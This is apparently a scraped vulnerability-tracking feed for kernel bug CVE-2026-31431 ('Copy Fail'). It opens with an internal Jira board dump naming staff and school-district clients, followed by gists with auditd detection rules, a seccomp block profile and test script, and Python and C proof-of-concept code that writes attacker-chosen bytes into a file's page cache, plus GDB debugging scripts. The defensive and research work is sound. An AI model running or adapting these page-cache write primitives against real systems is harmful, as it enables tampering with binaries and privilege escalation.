(tenantId='', deviceId=0)\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \nTask 7\n                    \n\n                      DO-2042\n                      Client Cancelation for Kuna Joint School District, ID - May 29 shutdown\n                      Vader\n                      May 5, '26\n                      May 6, '26\n                      \u2014\n                      On hold\n                    \n                    \n\n                      DO-2041\n                      Remove the test server - fr-routing-legacy-test  it is no longer needed.\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2040\n                      Remove queuedNotification lambda function when associated NotificationService changes are deployed\n                      \u2014\n                      May 4, '26\n                      May 4, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2037\n                      Deploy Hafeez's Data Build Tool\n                      Boluwatife Olaifa\n                      May 4, '26\n                      May 7, '26\n                      May 4, '26\n                      IN PROGRESS\n                    \n                    \n\n                      DO-2032\n                      Need script run on Cobb to remove duplicate locations\n                      Vader\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-2028\n                      All legacy PP ingestions have not run:\n                      Josiah Brown\n                      May 1, '26\n                      May 7, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2027\n                      Patch infra with CopyFail (CVE-2026-31431)\n                      Josiah Brown\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                6 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 6\n                    \n\n                      IM-7574\n                      Gwinnett, GA - Missing Data in Telematics\n                      Josiah Brown\n                      May 5, '26\n                      May 6, '26\n                      \u2014\n                      WORK IN PROGRESS\n                    \n                    \n\n                      IM-7571\n                      Cleveland, OH - Client Reported Delays in Both Telematics and with Parent Portal Messages this Morning\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7569\n                      Zonar - Delay / Omission of pings to SM, PP\n                      Nick Sundberg\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7567\n                      Fayette County, no bus event update since 4/29\n                      \u2014\n                      May 1, '26\n                      May 6, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7564\n                      Knox, TN - Gps units not reporting in since yesterday\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7563\n                       West Shore - Parent Portal not working\n                      Brandon Donnelson\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n50\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                50 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nATH New site request 1\n                    \n\n                      DO-1787\n                      Elyria, OH - Athena Conversion from Legacy\n                      Cory Emlen\n                      Mar 17, '26\n                      Apr 30, '26 (5d)\n                      Apr 17, '26\n                      Blocked\n                    \nBug 49\n                    \n\n                      DO-1905\n                      Parent Portal missing route/vehicle data after EKS 1.34 upgrade \u2014 missed cron sync + Hibernate 6 bug\n                      \u2014\n                      Apr 6, '26\n                      Apr 6, '26 (23d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1855\n                      There is no data available in Route assignment, Live substitution modules of Telematcis for Johnston site\n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (30d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1854\n                      There is no data available in multiple pages like Students, Runs, Routes modules of Routing for Johnston site \n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (30d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1842\n                      EDTA service missing MongoDB JVM args \u2014 broken on 57 production tenants\n                      \u2014\n                      Mar 25, '26\n                      Mar 25, '26 (31d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1801\n                      release-2-fr - Elastic search error displays into log - Unable to search for stop locations\n                      \u2014\n                      Mar 19, '26\n                      Mar 19, '26 (35d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1786\n                      [EastAllen, IN 1.78 Smoke]CA Result CSV \u2013 Export fails for valid dates with 400 Bad Request (invalid page number)\n                      Dane Elwood\n                      Mar 17, '26\n                      Mar 26, '26 (30d)\n                      \u2014\n                      Blocked\n                    \n                    \n\n                      DO-1785\n                      [EastAllen, IN 1.78 Smoke]Vehicles \u2013 Seating Configuration popup shows error \u201cnetwork issues\u201d due to backend API failure\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1784\n                      [Lake Superior 1.78 Smoke]Time & Attendance module not opening from main dashboard\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1783\n                      Config API is failing for Time & Attendance module in Collinsville site \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1782\n                      Several API calls are failed in ultilities --> Employee Import and Queue Priority modules \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1779\n                      [Cleveland -1.78] [Time & attendance][Absence Record] Data preview is not available\n                      Josiah Brown\n                      Mar 16, '26\n                      Mar 16, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1776\n                      Routes API CORS Blocked & Gateway Timeout on Routes Management Page\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 15, '26 (39d)\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-1775\n                      [Chicago-1.78] [Telematics --> Edulog standard reports] - Unable to select date range for AM on time report\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 13, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1768\n                      [moorhead 1.78.0] [Telematics] [Vehicle Plan Error] Front end error for Vehicle on Route Historical view\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 16, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1767\n                      500 Internal Server Error on Athena Routing Screen \u2013 eligibilities API\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (33d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1766\n                      [Helena] API call fails on clicking \"Add New\" Student \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (33d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1765\n                      Deleting a student without entering any data in Add student form is giving 405 error \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 27, '26 (29d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1761\n                       is displayed against a checkbox on Custom transportation Needs \n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1760\n                      Pick A Location - External address return as the SA\" is failing because the \"Pick A Location\" button cannot be located on the page, preventing test execution.\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1759\n                      [Chief Leschi-1.78][Reports] [User defined Reports] Unable to create a new report template\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 31, '26 (27d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1758\n                      API returns 500 error when sending IN filter with empty values array in search request\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1757\n                      Stops/Checkpoints \u2013 Map not displayed in \u201cPick A Location\u201d popup when using Relocate\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1756\n                      [Chief Leschi-1.78] Created date is not same when downloaded a report\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (32d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1755\n                      Data Management \u2013 Map fails to load across multiple modules\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1754\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with CA Reports\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (32d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1753\n                      Students \u2013 Student picture API returning 404 Not Found when opening student record\n                      Josiah Brown\n                      Mar 12, '26\n                      Apr 6, '26 (23d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1752\n                      Students \u2013 Address parsing APIs (type, prefix, suffix) returning 500 Internal Server Error in background requests\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1751\n                      Students \u2013 Opening student record triggers \"Error parsing address\" popup and address standardization API returns 500\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1749\n                      Historical changes API is returning 500 Internal server error on Vehicle on routes in Telamatics\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1615\n                      Payroll Data is not available/displaying\n                      \u2014\n                      Mar 11, '26\n                      Mar 11, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1614\n                      Data is not Visible for Default Working Hours in Employees under Data Management\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1613\n                      UDF Tab is not Displayed in Employee Information Page\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1611\n                      RPO \u2013 OPT actions failure\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1610\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with Stops details\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1608\n                      Location search fails with 504 Gateway Timeout when adding a new Stop\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1606\n                      Student Needs dialogs shows formatting issues and invalid \u201c504\u201d need option\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1594\n                      [Foundations] 404 error on Students detail page\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1591\n                      Web Query not configured for aldine-tx\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1579\n                      [Support][1.78] [Telematics] -- Error on FE Live Subs\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 9, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1578\n                      [Support-Site-1.78] 500 internal server error for \"eligibilities\"call\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 10, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1577\n                      [Training][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 30, '26 (28d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1575\n                      [Manitouspring][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 9, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1572\n                      [Manitouspring][1.78] Audit Logs: Unknown has been shown for many logs in users column\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 17, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1570\n                      500 err on cancel report API\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1569\n                      API Timesout - Endless Spinning Wheel Issue\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1562\n                      API times out/ when searching with keywords for location in Pick a Location Popup [smoke/hemet]\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1558\n                      [Houston-1.780] [Mapping] Console Error\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (45d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1556\n                      Home Page - Telematics module not displayed on Home Page\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (45d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1555\n                      [Houston-1.780] 500 internal server error for \"search\"call inside stop module\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (45d)\n                      \u2014\n                      To Do\n                    \n\nData sourced live from Jira on May 07, 2026 at 10:33 PM.\n\nfunction showTab(key,el){\n  document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active'));\n  el.classList.add('active');\n  document.querySelectorAll('.pane').forEach(p=>p.style.display='none');\n  document.getElementById('pane-'+key).style.display='block';\n}\n\n\n", "creation_timestamp": "2026-05-07T22:34:01.000000Z"}, {"uuid": "76cec8c7-3467-460c-a717-bd5f68aa8c54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlcoqsnj6m2m", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 371 interactions\nCVE-2026-41940: 96 interactions\nCVE-2026-0300: 24 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 15 interactions\nCVE-2026-25679: 10 interactions\nCVE-2026-27140: 8 interactions\n", "creation_timestamp": "2026-05-08T02:30:19.994512Z"}, {"uuid": "90636451-232f-4fb0-ab9e-87051b5cb2aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/0xlane/99519eac7a5fea1992d7ba6a423a0707", "content": "# CVE-2026-31431 (Copy Fail) Detection Rules for auditd\n#\n# Install:\n#   sudo cp auditd-rules.conf /etc/audit/rules.d/copyfail.rules\n#   sudo augenrules --load\n#\n# Or apply temporarily:\n#   sudo auditctl -a always,exit -F arch=b64 -S socket -F a0=38 -k copyfail_af_alg\n#   sudo auditctl -a always,exit -F arch=b64 -S splice -k copyfail_splice\n#\n# Search logs:\n#   ausearch -k copyfail_af_alg\n#   ausearch -k copyfail_splice\n\n# Rule 1: Detect AF_ALG socket creation (family=38)\n# This is the primary indicator \u2014 AF_ALG has almost no legitimate use in containers\n-a always,exit -F arch=b64 -S socket -F a0=38 -k copyfail_af_alg\n\n# Rule 2: Detect splice syscall (secondary indicator, higher noise)\n# splice is used by nginx, sendfile, etc. \u2014 combine with Rule 1 for correlation\n-a always,exit -F arch=b64 -S splice -k copyfail_splice\n\n# Rule 3: Detect setsockopt on ALG sockets (additional context)\n# SOL_ALG=279, helps correlate with AF_ALG socket usage\n-a always,exit -F arch=b64 -S setsockopt -F a1=279 -k copyfail_algopt\n\n\n{\n  \"defaultAction\": \"SCMP_ACT_ALLOW\",\n  \"architectures\": [\"SCMP_ARCH_X86_64\", \"SCMP_ARCH_X86\", \"SCMP_ARCH_AARCH64\"],\n  \"syscalls\": [\n    {\n      \"names\": [\"socket\"],\n      \"action\": \"SCMP_ACT_ERRNO\",\n      \"errnoRet\": 1,\n      \"args\": [\n        {\n          \"index\": 0,\n          \"value\": 38,\n          \"valueTwo\": 0,\n          \"op\": \"SCMP_CMP_EQ\"\n        }\n      ],\n      \"comment\": \"Block AF_ALG (family=38) socket creation to prevent CVE-2026-31431\"\n    }\n  ]\n}\n\n\n#!/bin/bash\n# Test seccomp profile effectiveness against CVE-2026-31431\n#\n# Prerequisites:\n#   - Place block-af-alg.json in kubelet seccomp directory:\n#     Standard: /var/lib/kubelet/seccomp/block-af-alg.json\n#     k3s:      /var/lib/rancher/k3s/agent/seccomp/block-af-alg.json\n#   - Or for Docker: use --security-opt seccomp=block-af-alg.json\n#\n# Usage: ./test-seccomp.sh\n\nset -e\necho \"=== CVE-2026-31431 Seccomp Defense Verification ===\"\necho \"\"\n\n# Test 1: Default seccomp (should ALLOW AF_ALG)\necho \"[Test 1] Default seccomp profile (RuntimeDefault)...\"\ncat <<'EOF' | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: test-default-seccomp\n  namespace: copyfail-lab\nspec:\n  securityContext:\n    seccompProfile:\n      type: RuntimeDefault\n  containers:\n  - name: test\n    image: python:3.11-slim\n    command: [\"python3\", \"-c\", \"import socket; s=socket.socket(38,5,0); print('[!] AF_ALG socket created \u2014 DEFAULT SECCOMP DOES NOT BLOCK')\"]\n  restartPolicy: Never\nEOF\n\nsleep 5\nkubectl logs -n copyfail-lab test-default-seccomp 2>/dev/null || true\nkubectl delete pod -n copyfail-lab test-default-seccomp --force 2>/dev/null || true\necho \"\"\n\n# Test 2: Custom seccomp blocking AF_ALG (should DENY)\necho \"[Test 2] Custom seccomp profile (block-af-alg)...\"\ncat <<'EOF' | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: test-block-seccomp\n  namespace: copyfail-lab\nspec:\n  securityContext:\n    seccompProfile:\n      type: Localhost\n      localhostProfile: block-af-alg.json\n  containers:\n  - name: test\n    image: python:3.11-slim\n    command: [\"python3\", \"-c\", \"\nimport socket\ntry:\n    s = socket.socket(38, 5, 0)\n    print('[!] FAIL: AF_ALG socket created despite seccomp')\nexcept PermissionError as e:\n    print(f'[+] SUCCESS: AF_ALG blocked \u2014 {e}')\nexcept OSError as e:\n    print(f'[+] SUCCESS: AF_ALG blocked \u2014 {e}')\n# Verify TCP still works\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)\nprint('[+] TCP socket OK \u2014 no side effects')\ns.close()\n\"]\n  restartPolicy: Never\nEOF\n\nsleep 5\nkubectl logs -n copyfail-lab test-block-seccomp 2>/dev/null || true\nkubectl delete pod -n copyfail-lab test-block-seccomp --force 2>/dev/null || true\necho \"\"\n\necho \"=== Docker equivalent ===\"\necho \"# Default (vulnerable):\"\necho \"docker run --rm python:3.11-slim python3 -c \\\"import socket; socket.socket(38,5,0); print('AF_ALG OK')\\\"\"\necho \"\"\necho \"# With custom seccomp (protected):\"\necho \"docker run --rm --security-opt seccomp=block-af-alg.json python:3.11-slim python3 -c \\\"import socket; socket.socket(38,5,0)\\\"\"\necho \"# Expected: PermissionError\"\n", "creation_timestamp": "2026-05-08T04:30:24.000000Z"}, {"uuid": "06cf5cb9-7290-42cc-9b80-6d03ac67933b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/0xlane/d89e230c9e18bfd8cc126452352afae6", "content": "#!/usr/bin/env python3\n\"\"\"\nCVE-2026-31431 \"Copy Fail\" \u2014 Page Cache Marker for Container Experiments\n=========================================================================\nWrites 0xDEADBEEF to the first 4 bytes of a target file's page cache.\nUsed to demonstrate cross-container page cache sharing via shared image layers.\n\nUsage:\n    python3 poc_marker.py \n    python3 poc_marker.py /bin/cat\n    python3 poc_marker.py /etc/os-release\n\nRequirements:\n    - Linux kernel vulnerable to CVE-2026-31431 (2017-07 to 2026-04)\n    - AF_ALG socket support (CONFIG_CRYPTO_USER_API_AEAD)\n    - authencesn algorithm available\n\nFor academic research only.\n\"\"\"\n\nimport os\nimport sys\nimport socket\nimport struct\n\nAF_ALG = 38\nSOL_ALG = 279\nALG_SET_KEY = 1\nALG_SET_IV = 2\nALG_SET_OP = 3\nALG_SET_AEAD_ASSOCLEN = 4\nALG_SET_AEAD_AUTHSIZE = 5\n\nAUTHSIZE = 4\nASSOCLEN = 8\nMSG_MORE = 0x8000\n\n\ndef page_cache_write_4bytes(target_fd, file_offset, value_bytes):\n    \"\"\"Write 4 bytes to target file's page cache at given offset.\"\"\"\n    alg_sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)\n    alg_sock.bind((\"aead\", \"authencesn(hmac(sha256),cbc(aes))\"))\n\n    # Key: rtattr(8) + authkey(16) + enckey(16) = 40 bytes\n    key = struct.pack('I', 16) + b'\\x00' * 32\n    alg_sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)\n    alg_sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, AUTHSIZE)\n\n    req_sock, _ = alg_sock.accept()\n\n    # AAD: [0:4]=padding, [4:8]=value to write into page cache\n    aad = b'\\x00' * 4 + value_bytes\n    cmsg = [\n        (SOL_ALG, ALG_SET_OP, struct.pack(' [hex_value]\")\n        sys.exit(1)\n\n    target = sys.argv[1]\n    value = 0xDEADBEEF\n    if len(sys.argv) > 2:\n        value = int(sys.argv[2], 16)\n\n    fd = os.open(target, os.O_RDONLY)\n\n    # Read original bytes\n    original = os.pread(fd, 16, 0)\n    print(f\"[*] Target: {target}\")\n    print(f\"[*] Before: {original[:4].hex()}\")\n\n    # Write 4 bytes to page cache offset 0\n    page_cache_write_4bytes(fd, 0, struct.pack(' /proc/sys/vm/drop_caches\n\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: hostpath-test\n  namespace: copyfail-lab\nspec:\n  containers:\n  - name: test\n    image: python:3.11-slim\n    command: [\"sleep\", \"infinity\"]\n  volumes:\n  - name: host-bin\n    hostPath:\n      path: /usr/bin\n      type: Directory\n  containers:\n  - name: test\n    image: python:3.11-slim\n    command: [\"sleep\", \"infinity\"]\n    volumeMounts:\n    - name: host-bin\n      mountPath: /hostbin\n      readOnly: true    # This does NOT prevent page cache corruption!\n", "creation_timestamp": "2026-05-08T04:30:22.000000Z"}, {"uuid": "1cd34b68-5a7f-4e06-8d35-708c486c4f53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/0xlane/0d565281d6a2ae05de2fc310a4a23a90", "content": "# GDB commands for CVE-2026-31431 dynamic debugging\n#\n# Usage: gdb ./vmlinux -x gdb_commands.gdb\n# Then:  target remote :1234\n#        continue\n\nset pagination off\nset confirm off\n\n# --- Breakpoint 1: crypto_authenc_esn_decrypt entry ---\nbreak crypto_authenc_esn_decrypt\ncommands\n    silent\n    printf \"\\n=== [BP1] crypto_authenc_esn_decrypt ===\\n\"\n    # req is first argument (rdi on x86_64)\n    printf \"  req->cryptlen  = %u\\n\", ((struct aead_request *)$rdi)->cryptlen\n    printf \"  req->assoclen  = %u\\n\", ((struct aead_request *)$rdi)->assoclen\n    printf \"  req->src       = %p\\n\", ((struct aead_request *)$rdi)->src\n    printf \"  req->dst       = %p\\n\", ((struct aead_request *)$rdi)->dst\n    printf \"  src == dst     = %d (in-place?)\\n\", ((struct aead_request *)$rdi)->src == ((struct aead_request *)$rdi)->dst\n    continue\nend\n\n# --- Breakpoint 2: scatterwalk_map_and_copy WRITE operations ---\n# out=1 means write. This catches the critical scratch write.\nbreak scatterwalk_map_and_copy if out == 1\ncommands\n    silent\n    printf \"\\n=== [BP2] scatterwalk_map_and_copy WRITE ===\\n\"\n    printf \"  buf=%p sg=%p start=%u nbytes=%u\\n\", buf, sg, start, nbytes\n    # Print first 4 bytes being written\n    printf \"  writing value: 0x%08x\\n\", *(unsigned int *)buf\n    continue\nend\n\n# --- Breakpoint 3: sg_chain call in algif_aead ---\n# This is where tag pages get chained to RX SGL\nbreak sg_chain\ncommands\n    silent\n    printf \"\\n=== [BP3] sg_chain ===\\n\"\n    printf \"  prv=%p prv_nents=%u sgl=%p\\n\", prv, prv_nents, sgl\n    continue\nend\n\nprintf \"\\n[GDB] Breakpoints set. Connect with: target remote :1234\\n\"\nprintf \"[GDB] Then: continue\\n\\n\"\n", "creation_timestamp": "2026-05-08T04:30:20.000000Z"}, {"uuid": "8aba6de0-b27b-464f-9094-38bb8c642086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/0xlane/a854338363e449bdb002b43ff5080e55", "content": "#!/bin/sh\n# Minimal init for CVE-2026-31431 debugging\n\nmount -t proc proc /proc\nmount -t sysfs sysfs /sys\nmount -t devtmpfs devtmpfs /dev\nmkdir -p /dev/pts\nmount -t devpts devpts /dev/pts\nmount -t tmpfs tmpfs /tmp\n\n# Create a test target file for page cache experiments\necho \"ORIGINAL CONTENT - This is a test file for page cache write verification.\" > /tmp/target.txt\necho \"OFFSET_00 OFFSET_10 OFFSET_20 OFFSET_30 OFFSET_40 OFFSET_50 OFFSET_60\" >> /tmp/target.txt\n\n# Set hostname\nhostname copyfail-debug\n\necho \"\"\necho \"==========================================\"\necho \" CVE-2026-31431 Debug Environment\"\necho \"==========================================\"\necho \"\"\necho \"Available tools:\"\necho \"  /usr/bin/poc_pagecache_write   \"\necho \"\"\necho \"Quick test:\"\necho \"  hexdump -C /tmp/target.txt | head\"\necho \"  poc_pagecache_write /tmp/target.txt 0 0xDEADBEEF\"\necho \"  hexdump -C /tmp/target.txt | head\"\necho \"  echo 3 > /proc/sys/vm/drop_caches\"\necho \"  hexdump -C /tmp/target.txt | head\"\necho \"\"\necho \"Kernel version: $(uname -r)\"\necho \"\"\n\n# Run experiment if script exists\nif [ -f /experiment_3_1.sh ]; then\n    sh /experiment_3_1.sh\nfi\n\nexec /bin/sh\n\n\n/*\n * CVE-2026-31431 \"Copy Fail\" \u2014 Minimal Page Cache Write PoC (C version)\n *\n * Demonstrates the page cache write primitive without full exploitation.\n * Writes a controlled 4-byte value to a target file's page cache.\n *\n * Usage: ./poc_pagecache_write   \n * Example: ./poc_pagecache_write /tmp/testfile 0 0xDEADBEEF\n *\n * For academic research only.\n */\n\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#ifndef AF_ALG\n#define AF_ALG 38\n#endif\n#ifndef SOL_ALG\n#define SOL_ALG 279\n#endif\n#ifndef ALG_SET_KEY\n#define ALG_SET_KEY 1\n#endif\n#ifndef ALG_SET_IV\n#define ALG_SET_IV 2\n#endif\n#ifndef ALG_SET_OP\n#define ALG_SET_OP 3\n#endif\n#ifndef ALG_SET_AEAD_ASSOCLEN\n#define ALG_SET_AEAD_ASSOCLEN 4\n#endif\n#ifndef ALG_SET_AEAD_AUTHSIZE\n#define ALG_SET_AEAD_AUTHSIZE 5\n#endif\n\n#define AUTHSIZE  4\n#define ASSOCLEN  8\n#define AES_KEYLEN 16\n#define HMAC_KEYLEN 16\n#define IV_SIZE 16\n\nstruct authenc_key {\n    uint16_t rta_len;\n    uint16_t rta_type;\n    uint32_t enckeylen_be;\n    uint8_t  authkey[HMAC_KEYLEN];\n    uint8_t  enckey[AES_KEYLEN];\n} __attribute__((packed));\n\nstatic int page_cache_write_4bytes(int target_fd, unsigned int file_offset,\n                                   uint32_t value)\n{\n    int alg_fd, req_fd;\n    int pipefd[2];\n    struct sockaddr_alg sa;\n    struct authenc_key key;\n    int ret = -1;\n\n    memset(&sa, 0, sizeof(sa));\n    sa.salg_family = AF_ALG;\n    strcpy((char *)sa.salg_type, \"aead\");\n    strcpy((char *)sa.salg_name, \"authencesn(hmac(sha256),cbc(aes))\");\n\n    alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);\n    if (alg_fd < 0) {\n        perror(\"socket(AF_ALG)\");\n        return -1;\n    }\n\n    if (bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {\n        perror(\"bind\");\n        goto out_alg;\n    }\n\n    memset(&key, 0, sizeof(key));\n    key.rta_len = 8;\n    key.rta_type = 1;\n    key.enckeylen_be = htonl(AES_KEYLEN);\n\n    if (setsockopt(alg_fd, SOL_ALG, ALG_SET_KEY, &key, sizeof(key)) < 0) {\n        perror(\"setsockopt(ALG_SET_KEY)\");\n        goto out_alg;\n    }\n\n    if (setsockopt(alg_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, AUTHSIZE) < 0) {\n        perror(\"setsockopt(ALG_SET_AEAD_AUTHSIZE)\");\n        goto out_alg;\n    }\n\n    req_fd = accept(alg_fd, NULL, NULL);\n    if (req_fd < 0) {\n        perror(\"accept\");\n        goto out_alg;\n    }\n\n    /* sendmsg: AAD = \"AAAA\" + value (8 bytes total) */\n    {\n        uint8_t aad[ASSOCLEN];\n        memset(aad, 'A', 4);\n        memcpy(aad + 4, &value, 4);\n\n        